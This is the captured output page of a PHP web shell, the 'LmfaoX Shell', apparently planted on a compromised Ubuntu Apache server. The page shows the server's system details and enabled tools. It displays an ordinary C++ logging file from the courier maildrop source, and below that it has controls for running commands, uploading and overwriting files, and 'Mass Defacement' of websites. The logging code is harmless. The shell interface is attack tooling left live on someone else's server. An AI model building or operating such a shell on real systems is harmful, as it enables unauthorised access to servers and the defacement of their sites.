ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:25.77 GB of 70.42 GB (36.6%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ courier-0.66.1/ maildrop/ - drwxrwxrwx

Directory:
Viewing file:     log.C (1.08 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include    "log.h"
#include    "mio.h"
#include    "formatmbox.h"
#include    "xconfig.h"
#include    "maildrop.h"
#include    "mytime.h"


#if    CRLF_TERM
    #define EOL "\r\n"
#else
    #define    EOL "\n"
#endif

void log(const char *mailbox, int status, class FormatMbox &msg)
{
time_t    t;
Buffer    tbuf;
Buffer    szbuf;

    if (maildrop.logfile.fd() < 0)    return;    // Logfile not open

    time(&t);
    tbuf=ctime(&t);
    tbuf.pop();    // Drop trailing newline
    msg.hdrfrom.Length(72);
    msg.hdrsubject.Length(72);
    maildrop.logfile << "Date: " << tbuf << EOL;
    maildrop.logfile << "From: " << msg.hdrfrom << EOL;
    maildrop.logfile << "Subj: " << msg.hdrsubject << EOL;

    szbuf="(";
    szbuf.append( (unsigned long)msg.msgsize);
    szbuf += ")";
    tbuf=mailbox;

int    l= 72 - szbuf.Length();

    while (tbuf.Length() < l-1)
        tbuf.push(' ');
    tbuf.Length(l-1);
    tbuf.push(' ');
    tbuf += szbuf;

    maildrop.logfile << (status ? "!Err: ":"File: ") << tbuf << EOL << EOL;
    maildrop.logfile.flush();
}

void log_line(const class Buffer &buf)
{
    if (maildrop.logfile.fd() < 0)    return;    // Logfile not open
    maildrop.logfile << buf;
    maildrop.logfile.flush();
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2717 seconds